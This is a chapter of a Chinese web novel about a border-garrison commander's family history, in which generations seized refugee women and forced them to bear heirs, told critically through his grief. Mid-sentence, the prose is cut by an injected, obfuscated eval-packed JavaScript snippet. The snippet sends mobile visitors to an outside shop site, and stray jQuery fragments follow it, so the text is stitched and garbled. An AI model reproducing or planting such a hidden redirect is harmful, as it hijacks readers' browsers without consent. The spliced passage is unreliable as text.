她这句话音一落,科斯特统领的笑声戛然而止。
“你在说什么?”他的眼神陡然阴沉下来,脸上那副吊儿郎当的面具也终于露出了一条裂隙。
——显然,爱丽丝戳中了他的痛处。
爱丽丝意味深长地看着他:“军营里没有女人,这是约定俗成的规矩,而你们居然能够以家族的形式传承统领之位……那么请问您的母亲、祖母乃至于更早的女性祖先,都是从哪里来的呢?”
“闭嘴!”科斯特突然大吼出声,“不许提那些女人!不许提她们!”
在他愤怒的喊叫声中,爱丽丝恍若未闻地继续说了下去:“不妨让我来猜一下吧,唔……我想想……可能是附近的农女?稍远一点的集落里的女人?”
“还是说,”她的语气陡然冰冷下去,“是逃难路过这里的无辜难民?”
科斯特统领浑身狠狠颤抖了一下,仿佛被刺中了心底深处腐烂的伤口。他的呼吸变得急促,眼神中的怒意几乎快化为火焰喷薄而出,但与激烈情绪相反的是,原本还在大喊大叫的他突然紧紧闭上了嘴,干裂的嘴唇抿得发白,然后渗出血来。
爱丽丝能看到他腮帮两边的咬肌鼓起——那是他正在死死咬着后槽牙的证明。
……
科斯特统领名为克林·科斯特,从有记忆开始,他的世界里就只有军营漫天的沙土和每日响彻耳边的士兵操练声,哪怕是他出生的那一刻,迎接他的也不是父母欣喜的微笑,而是一具名为“母亲”的冰冷尸体,和比“母亲”还要冰冷的、身着盔甲的父亲。
在这样的生长环境下,“柔软”与“温暖”这两个词理所当然地被排除在小科斯特的人生词典之外,但他并不觉得自己不幸,因为他的父亲,老科斯特的出生也是这样。
而且就像父亲所说的那样,他们的诞生是为了传承守护的职责,在这光荣而伟大的使命面前,女人不重要,她们的牺牲也不重要,他更需要在意的应该是今天的训练有没有认真完成。
有着巫师血脉的白鲁尔是他的兄弟,这不仅是个形容他们深厚情谊的形容词,事实上,如果从血缘关系上来讲,白鲁尔应该是他的表兄弟——他们俩的母亲是一对姐妹,她们二十几年前逃难路过这里,却被科斯特营的人截下,当姐姐的被分给了当时的统领老科斯特,妹妹则自然而然给了当时的巫师,也就是白鲁尔的父亲。
在科斯特营传承至今的岁月中,这样的事情并不罕见,虽然没有专门记载“营史”,但每一代统领都会将家族从前的事当做睡前故事讲给下一代的科斯特,直到他们长大成人。
据说在很久以前,科斯特家族刚来到这里的时候,还会有一些好人家的女性愿意来和他们联姻。这些女性以走婚的形式和科斯特结合,然后靠着军营供养生活所需,但她们不住在这里,只是来几晚,怀上了就在家生孩子,生完就把孩子送到军营里来。
可随着战事逐渐消弭,军营的补给一年比一年短缺,科斯特营开始付不起给这些女性的生育代价了。因此从老科斯特统领的曾曾祖父起,科斯特家族的传承便靠着外面雇佣的妓女或者流民来维持。
克林的父亲告诉他,为了延续血脉,他之前的科斯特们会雇佣兵从苍蓝森林的集落处带回愿意用身体换取财富的女人。她们来得快,走得也快,女人们会在军营里短暂地停留,生下孩子,拿着报酬后立刻离开,没有任何留恋。
但克林的母亲不一样。
因为那时科斯特营的条件已经艰苦到连满足自己士兵们的生计都勉强,所以连妓女都雇不起的老科斯特只好强行留住了逃难的克林母亲和姨妈。
这两个被强行留在这里的女人没有选择的权利,被迫生下孩子后,她们都在难产造成的大出血中丧命。
这就是克林出生前的故事。
所以克林从小就被告知,自己的一生大概率会和父辈、祖辈一样:少年时跟着父亲学习本事,等父亲死去,他们便接过统领的担子,再去找一个女人生下孩子。巫师家族有传承的秘方,可以保证生出来的是男孩,这样就免去了头胎是女孩儿还得再接着生的时间成本。
从生到死,这就是一个标准的科斯特的一生,他们把自己的生命钉死在这个贫瘠荒凉的边境军营里,一代又一代,只为了传承家族的责任,这听起来的确很伟大,很有牺牲和奉献精神,值得歌颂。
所有的科斯特都是这样的——可是克林·科斯特,他似乎是科斯特家族的一个异类。
像他父亲和素未谋面的祖父,他们就从来不会思考关于“母亲”的任何事,对他们来说,那几乎比不上带着士兵们在地里抓田鼠重要。
但是克林会。
偶尔,他会在不经意间的某个场景或瞬间里,突然想起这个几乎不存在于他记忆中的女人。
他会在掏开田鼠洞,看到护着崽子冲自己吱吱叫的母田鼠时想起“母亲”,也会在冬天大雪覆盖了山岭和大地时想起“母亲”(克林就是在那时候出生的),还会在绕着军营跑圈训练时想起“母亲”——因为他曾听说,所有死在军营里的女人都被埋在营地外的地里。
因此,克林会在每一步迈出时忍不住想:她会在这里吗?我这一步是不是正踩在她的身上?
关于“母亲”的事,克林的父亲也简短地提过一两句,但那些话语夹杂在老科斯特对克林的其余嘱咐中,显得轻描淡写。
“老子是运气好,一下子截住了两个难民女人,虽然生完你俩就死了,但是好在你们赶在那两个女人咽气之前出来了。哈!不愧是咱们科斯特的儿子!出生起就比别人能活!”
老科斯特拍着克林的肩膀,放声大笑,笑声在空旷的军营里显得粗粝而肆意。笑完后,他用粗糙的大手毫不温柔地揉乱了克林的头发,调侃道:“等到你和白鲁尔该生孩子的时候,也不知道你们能不能像老子这样走运。”
在父亲的世界里,“母亲”不过是延续科斯特家族的一个工具,一个必需品,这个概念被老科斯特轻描淡写地抛出口中,仿佛毫无分量。然而,克林在父亲那只几乎遮住他半个脑袋的大手下挣扎着时,脑海中却不由自
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13715216|140012||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
主地浮现出一幅诞生于想象的模糊黑白画面——白色的女人躺在破旧的木板床上,身下流淌着浓黑的血迹。
这幅画面伴随了他一整个童年,直到克林接过统领之位,它还会时不时地造访克林的梦境。
然而,他从来没有将自己的这些念头宣之于口,因为他几乎可以预判父亲的反应——老科斯特只会不屑地嗤笑,觉得他的训练还不够,闲得多愁善感。
他们那代人从来不理解也不在乎这些“无用的情绪”,除了嗤之以鼻地让他再出去跑十圈,老科斯特不会有任何别的反应。
唯一能分享他心事的,就只有和他的命运轨迹高度重合、从小一起长大的白鲁尔。
他们俩偶尔会在训练的间隙,靠在麦秆堆旁,抓住这短暂的喘息时间,低声讨论着各自对“母亲”的模糊想象。最单蠢的那一年,两个小少年竟然半夜偷偷溜出营地,打算去亲眼见见他们的“母亲”——他们拿着铁锹和锄头,准备在自己看好的位置刨一个坑,试试能不能找到被埋在下面的尸体。
那一天晚上月光很亮,但具体是什么形状,克林已经记不得了,他只记得当时自己心怀着一股说不清道不明的执念,蹑手蹑脚地走向军营外的荒地,每一步都带着少年的莽撞和胆怯。他们分别在自己认为最有可能的地方停下,开始挖掘,并且天真地以为,只要掘开那片冰冷的泥土,就能找到那些被埋葬已久、从未真正见过的身影——那个他们只在传闻和想象中触碰到的“母亲”。
只可惜没等他们挖开几英寸,这个计划就中道崩殂——半夜起来撒尿的老科斯特发现了这两个鬼鬼祟祟的小家伙,在给他们一人赏了一顿胖揍后,克林和白鲁尔毫无反抗之力地被拎了回去,之后几天猛然加大的训练量更是堪比噩梦一般,累得他们成了两条死狗,再也没空去想着什么“母亲”在哪里的事了。
于是,就这样在时间的推移下,克林和白鲁尔慢慢地长成了他们父辈的样子,年少时对“母亲”的那点模糊憧憬也终究消失不见。
克林脑子里只剩下了领导和守护这里的使命感。
他成了一个真正的科斯特。
后来,在老科斯特去世后,克林成为了新的统领,很快,他也到了不仅要管理军营,还要操心家族传承的年纪。
但就像老科斯特从前说过的那样,到了他和白鲁尔该延续血脉的这时候,科斯特营的条件比从前更加艰难,就连往年会从边境线对面往曼哈郡逃的难民,今年不知为什么也一个都没有。
这让整个科斯特营的人都开始隐隐担忧起来——延续科斯特血脉的机会在逐渐消失,一直以来统领这个军营的家族似乎走到了绝境。
这种守护家族的责任与维系血脉的残酷现实不断撕扯着克林,让他疲惫不堪。
每当夜深人静时,他会坐在军营高处,望着遥远的苍蓝山脉发呆,看着那片冰冷而寂静的山脉,他感觉自己就好像在看着科斯特家族的命运,既顽强又孤独。
但山脉可以屹立亘古,人类种族的延续却只能依靠繁衍来传承。